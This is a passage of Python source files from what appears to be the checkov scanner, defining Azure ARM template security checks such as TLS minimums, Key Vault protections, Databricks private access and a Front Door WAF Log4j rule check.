DataFactoryUsesGitRepository(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Data Factory uses Git repository for source control" id = "CKV_AZURE_103" supported_resources = ("Microsoft.DataFactory/factories",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties") if properties and isinstance(properties, dict): self.evaluated_keys = ["properties/repoConfiguration/type"] repo = properties.get("repoConfiguration") if not repo: return CheckResult.FAILED if repo and isinstance(repo, dict) and repo.get("type") is not None: return CheckResult.PASSED return CheckResult.UNKNOWN return CheckResult.FAILED check = DataFactoryUsesGitRepository() ================================================ FILE: checkov/arm/checks/resource/DataLakeStoreEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class DataLakeStoreEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Data Lake Store accounts enables encryption" id = "CKV_AZURE_105" supported_resources = ['Microsoft.DataLakeStore/accounts',] categories = [CheckCategories.ENCRYPTION,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return 'properties/encryptionState' def get_expected_value(self) -> str: return "Enabled" check = DataLakeStoreEncryption() ================================================ FILE: checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.data_structures_utils import find_in_dict class DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey(BaseResourceCheck): def __init__(self) -> None: # https://learn.microsoft.com/en-us/azure/templates/microsoft.databricks/workspaces?pivots=deployment-language-arm-template#workspaceencryptionparameter-1 name = "Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption" id = "CKV2_AZURE_48" supported_resources = ("Microsoft.Databricks/workspaces",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: parameters = conf.get("properties", {}).get("parameters") prepare_encryption = find_in_dict(input_dict=parameters, key_path="prepareEncryption/value") if not prepare_encryption or str(prepare_encryption).lower() != "true": return CheckResult.FAILED encryption_settings = find_in_dict(input_dict=parameters, key_path="encryption/value") if not encryption_settings: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties/parameters"] check = DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey() ================================================ FILE: checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.data_structures_utils import find_in_dict class DatabricksWorkspaceIsNotPublic(BaseResourceCheck): def __init__(self) -> None: # https://learn.microsoft.com/en-us/azure/templates/microsoft.databricks/workspaces?pivots=deployment-language-arm-template name = "Ensure Databricks Workspace data plane to control plane communication happens over private link" id = "CKV_AZURE_158" supported_resources = ("Microsoft.Databricks/workspaces",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: public_network_access = find_in_dict(input_dict=conf, key_path="properties/publicNetworkAccess") if not public_network_access or public_network_access == "Enabled": return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/publicNetworkAccess"] check = DatabricksWorkspaceIsNotPublic() ================================================ FILE: checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class EventHubNamespaceMinTLS12(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Event Hub Namespace uses at least TLS 1.2" id = "CKV_AZURE_223" supported_resources = ["Microsoft.EventHub/namespaces", ] categories = [CheckCategories.ENCRYPTION, ] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "properties/minimumTlsVersion" def get_expected_value(self) -> Any: return "1.2" check = EventHubNamespaceMinTLS12() ================================================ FILE: checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class EventgridTopicIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Managed identity provider is enabled for Azure Event Grid Topic" id = "CKV_AZURE_191" supported_resources = ("Microsoft.EventGrid/topics",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/type" def get_expected_value(self) -> Any: return ANY_VALUE check = EventgridTopicIdentityProviderEnabled() ================================================ FILE: checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EventgridTopicLocalAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Event Grid Topic local Authentication is disabled" id = "CKV_AZURE_192" supported_resources = ("Microsoft.EventGrid/topics",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/disableLocalAuth" def get_expected_value(self) -> bool: return True check = EventgridTopicLocalAuthentication() ================================================ FILE: checkov/arm/checks/resource/EventgridTopicNetworkAccess.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EventgridTopicNetworkAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure public network access is disabled for Azure Event Grid Topic" id = "CKV_AZURE_193" supported_resources = ("Microsoft.EventGrid/topics",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> str: return "Disabled" check = EventgridTopicNetworkAccess() ================================================ FILE: checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.arm.base_resource_check import BaseResourceCheck class FrontDoorWAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_AZURE_133" supported_resources = ["Microsoft.Network/frontdoorWebApplicationFirewallPolicies"] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[Any, Any]) -> CheckResult: self.evaluatedKeys = ["managedRules"] properties = conf.get("properties") if properties is None or "managedRules" not in properties: return CheckResult.FAILED managedRules = properties.get("managedRules") if not managedRules: return CheckResult.FAILED for idx_managed_rule, managed_rule in enumerate(force_list(managedRules.get("managedRuleSets", []))): self.evaluated_keys = [f"managedRules/[{idx_managed_rule}]/type"] if managed_rule and managed_rule.get("ruleSetType") in ["DefaultRuleSet", "Microsoft_DefaultRuleSet"]: ruleOverrides = managed_rule.get("ruleGroupOverrides", []) if ruleOverrides == []: return CheckResult.PASSED for idx_override, rule_override in enumerate(force_list(ruleOverrides)): self.evaluated_keys.append( f"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/ruleGroupName" ) if rule_override.get("ruleGroupName") == "JAVA": rules = rule_override.get("rules", []) for idx_rule, rule in enumerate(force_list(rules)): self.evaluated_keys.extend([ f"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/ruleId", f"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/enabledState", f"managedRules/[{idx_managed_rule}]/ruleGroupOverrides/[{idx_override}]/rules/[{idx_rule}]/action", ]) if rule.get("ruleId") == "944240": enabledState = rule.get("enabledState") if not enabledState: return CheckResult.FAILED if rule.get("action") in ["Block", "Redirect"]: return CheckResult.PASSED return CheckResult.FAILED check = FrontDoorWAFACLCVE202144228() ================================================ FILE: checkov/arm/checks/resource/FrontdoorUseWAFMode.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class FrontdoorUseWAFMode(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes" id = "CKV_AZURE_123" supported_resources = ('Microsoft.Network/FrontDoorWebApplicationFirewallPolicies',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get('properties') if properties and isinstance(properties, dict): policy_settings = properties.get('policySettings') if policy_settings and isinstance(policy_settings, dict): if policy_settings.get('enabledState') == "Enabled": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["policySettings/[0]/enabledState"] check = FrontdoorUseWAFMode() ================================================ FILE: checkov/arm/checks/resource/FunctionAppDisallowCORS.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class FunctionAppDisallowCORS(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure function apps are not accessible from all regions" id = "CKV_AZURE_62" supported_resources = ("Microsoft.Web/sites",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "properties/siteConfig/cors/allowedOrigins" def get_forbidden_values(self) -> List[Any]: return ["*"] check = FunctionAppDisallowCORS() ================================================ FILE: checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class FunctionAppHttpVersionLatest(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that 'HTTP Version' is the latest, if used to run the Function app" id = "CKV_AZURE_67" supported_resources = ("Microsoft.Web/sites/slots", "Microsoft.Web/sites",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/siteConfig/http20Enabled" check = FunctionAppHttpVersionLatest() ================================================ FILE: checkov/arm/checks/resource/FunctionAppMinTLSVersion.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class FunctionAppMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Function app is using the latest version of TLS encryption" id = "CKV_AZURE_145" supported_resources = ('Microsoft.Web/sites', 'Microsoft.Web/sites/slots',) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "properties/siteConfig/minTlsVersion" def get_expected_value(self) -> Any: return 1.2 def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = FunctionAppMinTLSVersion() ================================================ FILE: checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class FunctionAppsAccessibleOverHttps(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Function apps is only accessible over HTTPS" id = "CKV_AZURE_70" supported_resources = ( "Microsoft.Web/sites/config", "Microsoft.Web/sites", "Microsoft.Web/sites/slots", ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if self.entity_type == "Microsoft.Web/sites" or self.entity_type == "Microsoft.Web/sites/slots": if "httpsOnly" not in conf["properties"]: return CheckResult.FAILED https_only = conf["properties"]["httpsOnly"] if not https_only: return CheckResult.FAILED if "httpSettings" in conf["properties"]: auth_settings_v2 = conf["properties"]["httpSettings"] # default=true for require_https if 'requireHttps' not in auth_settings_v2: return CheckResult.PASSED require_https = auth_settings_v2.get("requireHttps") if not require_https: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/httpsOnly", "properties/httpSettings"] check = FunctionAppsAccessibleOverHttps() ================================================ FILE: checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py ================================================ from __future__ import annotations from typing import Any, List from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class FunctionAppsEnableAuthentication(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that function apps enables Authentication" id = "CKV_AZURE_56" supported_resources = ("Microsoft.Web/sites/config",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get('name', '') != 'authsettingsV2': return CheckResult.PASSED properties = conf.get('properties', {}) if properties and isinstance(properties, dict): platform = properties.get('platform', {}) if platform and isinstance(properties, dict): enabled = platform.get('enabled', False) if enabled: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/platform', 'properties/platform/enabled'] check = FunctionAppsEnableAuthentication() ================================================ FILE: checkov/arm/checks/resource/KeyBackedByHSM.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class KeyBackedByHSM(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that key vault key is backed by HSM" id = "CKV_AZURE_112" supported_resources = ("Microsoft.KeyVault/vaults/keys",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/kty" def get_expected_value(self) -> Any: return "RSA-HSM" def get_expected_values(self) -> list[Any]: return [self.get_expected_value(), "EC-HSM"] check = KeyBackedByHSM() ================================================ FILE: checkov/arm/checks/resource/KeyExpirationDate.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class KeyExpirationDate(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that the expiration date is set on all keys" id = "CKV_AZURE_40" supported_resources = ['Microsoft.KeyVault/vaults/keys'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/rotationPolicy/attributes/expiryTime' def get_expected_value(self) -> str: return ANY_VALUE check = KeyExpirationDate() ================================================ FILE: checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck from typing import Dict, Any class KeyVaultDisablesPublicNetworkAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Key Vault disables public network access" id = "CKV_AZURE_189" supported_resources = ("Microsoft.KeyVault/vaults",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "publicNetworkAccess" def get_expected_value(self) -> str: return "disabled" def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: properties = conf.get("properties", {}) if self.get_inspected_key() in properties: conf_value = conf["properties"][self.get_inspected_key()] # Docs are unclear, so supporting Disabled and disabled if conf_value and conf_value.lower() == self.get_expected_value(): return CheckResult.PASSED if properties and "networkAcls" in properties: network_acls = conf["properties"]["networkAcls"] if isinstance(network_acls, dict) and "ipRules" in network_acls: ip_rules = network_acls["ipRules"] ip_rules = ip_rules[0] if ip_rules and isinstance(ip_rules, list) else ip_rules if ip_rules: return CheckResult.PASSED return CheckResult.FAILED check = KeyVaultDisablesPublicNetworkAccess() ================================================ FILE: checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class KeyVaultEnablesFirewallRulesSettings(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that key vault allows firewall rules settings" id = "CKV_AZURE_109" supported_resources = ("Microsoft.KeyVault/vaults",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/networkAcls/defaultAction" def get_expected_value(self) -> Any: return "Deny" check = KeyVaultEnablesFirewallRulesSettings() ================================================ FILE: checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class KeyVaultEnablesPurgeProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that key vault enables purge protection" id = "CKV_AZURE_110" supported_resources = ['Microsoft.KeyVault/vaults'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> Any: return "properties/enablePurgeProtection" def get_expected_value(self) -> bool: return True check = KeyVaultEnablesPurgeProtection() ================================================ FILE: checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py ================================================ from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.enums import CheckResult class KeyVaultEnablesSoftDelete(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that key vault enables soft delete" id = "CKV_AZURE_111" supported_resources = ['Microsoft.KeyVault/vaults'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "properties/enableSoftDelete" check = KeyVaultEnablesSoftDelete() ================================================ FILE: checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class KeyVaultRecoveryEnabled(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.keyvault/2016-10-01/vaults name = "Ensure the key vault is recoverable" id = "CKV_AZURE_42" supported_resources = ('Microsoft.KeyVault/vaults',) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: # NOTE: enablePurgeProtection not supported in API version 2015-06-01 if "properties" in conf: if "enablePurgeProtection" in conf["properties"] and "enableSoftDelete" in conf["properties"]: if str(conf["properties"]["enablePurgeProtection"]).lower() == "true" and \ str(conf["properties"]["enableSoftDelete"]).lower() == "true": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/enablePurgeProtection", "properties/enableSoftDelete"] check = KeyVaultRecoveryEnabled() ================================================ FILE: checkov/arm/checks/resource/LinuxVMUsesSSH.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck from typing import Any from checkov.common.models.consts import ANY_VALUE class LinuxVMUsesSSH(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure linux VM enables SSH with keys for secure communication" id = "CKV_AZURE_178" supported_resources = ("Microsoft.Compute/virtualMachines", "Microsoft.Compute/virtualMachineScaleSets") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: if self.entity_type == "Microsoft.Compute/virtualMachineScaleSets": return "properties/virtualMachineProfile/osProfile/linuxConfiguration/ssh/publicKeys/[0]/path" return "properties/osProfile/linuxConfiguration/ssh/publicKeys/[0]/path" def get_expected_value(self) -> Any: return ANY_VALUE check = LinuxVMUsesSSH() ================================================ FILE: checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MSSQLServerMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MSSQL is using the latest version of TLS encryption" id = "CKV_AZURE_52" supported_resources = ("Microsoft.Sql/servers",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED,) def get_inspected_key(self) -> str: return "properties/minimalTlsVersion" def get_expected_value(self) -> str: return "1.2" def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = MSSQLServerMinTLSVersion() ================================================ FILE: checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MariaDBGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that MariaDB server enables geo-redundant backups" id = "CKV_AZURE_129" supported_resources = ("Microsoft.DBforMariaDB/servers",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/storageProfile/geoRedundantBackup" def get_expected_value(self) -> str: return "Enabled" check = MariaDBGeoBackupEnabled() ================================================ FILE: checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MariaDBPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'public network access enabled' is set to 'False' for MariaDB servers" id = "CKV_AZURE_48" supported_resources = ("Microsoft.DBforMariaDB/servers",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/publicNetworkAccess" def get_expected_value(self) -> str: return "Disabled" check = MariaDBPublicAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MariaDBSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers" id = "CKV_AZURE_47" supported_resources = ["Microsoft.DBforMariaDB/servers"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/sslEnforcement" def get_expected_value(self) -> Any: return "Enabled" check = MariaDBSSLEnforcementEnabled() ================================================ FILE: checkov/arm/checks/resource/MonitorLogProfileCategories.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck # https://docs.microsoft.com/en-us/azure/templates/microsoft.insights/2016-03-01/logprofiles class MonitorLogProfileRetentionDays(BaseResourceCheck): def __init__(self) -> None: name = "Ensure audit profile captures all the activities" id = "CKV_AZURE_38" supported_resources = ("Microsoft.Insights/logprofiles",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf and "categories" in conf["properties"]: categories = ("Write", "Delete", "Action") if all(category in conf["properties"]["categories"] for category in categories): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/categories"] check = MonitorLogProfileRetentionDays() ================================================ FILE: checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int # https://docs.microsoft.com/en-us/azure/templates/microsoft.insights/2016-03-01/logprofiles class MonitorLogProfileRetentionDays(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Activity Log Retention is set 365 days or greater" id = "CKV_AZURE_37" supported_resources = ("Microsoft.Insights/logprofiles",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties"] if "properties" in conf and "retentionPolicy" in conf["properties"]: self.evaluated_keys = ["properties/retentionPolicy"] retention = conf["properties"]["retentionPolicy"] if "enabled" in retention and str(retention["enabled"]).lower() == "true": if "days" in retention: days = force_int(retention["days"]) if days is not None and (days == 0 or days >= 365): return CheckResult.PASSED return CheckResult.FAILED check = MonitorLogProfileRetentionDays() ================================================ FILE: checkov/arm/checks/resource/MySQLEncryptionEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_check import BaseResourceCheck class MySQLEncryptionEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that MySQL server enables infrastructure encryption" id = "CKV_AZURE_96" supported_resources = ("Microsoft.DBforMySQL/flexibleServers",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("properties") if properties and isinstance(properties, dict): self.evaluated_keys = ["properties/dataencryption"] data_encryption = properties.get("dataencryption") if data_encryption and isinstance(data_encryption, dict): if data_encryption is None: return CheckResult.FAILED return CheckResult.PASSED # unparsed elif data_encryption and isinstance(data_encryption, str): return CheckResult.UNKNOWN return CheckResult.FAILED return CheckResult.UNKNOWN check = MySQLEncryptionEnabled() ================================================ FILE: checkov/arm/checks/resource/MySQLGeoBackupEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MySQLGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that My SQL server enables geo-redundant backups" id = "CKV_AZURE_94" supported_resources = ("Microsoft.DBforMySQL/flexibleServers",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/Backup/geoRedundantBackup" check = MySQLGeoBackupEnabled() ================================================ FILE: checkov/arm/checks/resource/MySQLPublicAccessDisabled.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MySQLPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'public network access enabled' is set to 'False' for mySQL servers" id = "CKV_AZURE_53" supported_resources = ("Microsoft.DBforMySQL/servers", "Microsoft.DBforMySQL/flexibleServers",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: if self.entity_type == "Microsoft.DBforMySQL/servers": return "properties/publicNetworkAccess" else: return "properties/network/publicNetworkAccess" def get_expected_value(self) -> str: return "disabled" def get_expected_values(self) -> List[str]: return ["disabled", "Disabled"] check = MySQLPublicAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/MySQLServerMinTLSVersion.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class MySQLServerMinTLSVersion(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MySQL is using the latest version of TLS encryption" id = "CKV_AZURE_54" supported_resources = ("Microsoft.DBforMySQL/servers",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "properties/minimalTlsVersion" def get_expected_value(self) -> str: return "TLS1_2" check = MySQLServerMinTLSVersion() ================================================ FILE: checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class MySQLServerSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server" id = "CKV_AZURE_28" supported_resources = ["Microsoft.DBforMySQL/servers"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/sslEnforcement" def get_expected_value(self) -> Any: return "Enabled" check = MySQLServerSSLEnforcementEnabled() ================================================ FILE: checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py ================================================ from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleHTTPAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that HTTP (port 80) access is restricted from the internet", check_id="CKV_AZURE_160", port=80, ) check = NSGRuleHTTPAccessRestricted() ================================================ FILE: checkov/arm/checks/resource/NSGRulePortAccessRestricted.py ================================================ import re from typing import Union, Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck # https://docs.microsoft.com/en-us/azure/templates/microsoft.network/networksecuritygroups # https://docs.microsoft.com/en-us/azure/templates/microsoft.network/networksecuritygroups/securityrules INTERNET_ADDRESSES = ["*", "0.0.0.0", "/0", "/0", "internet", "any"] # nosec PORT_RANGE = re.compile(r"\d+-\d+") class 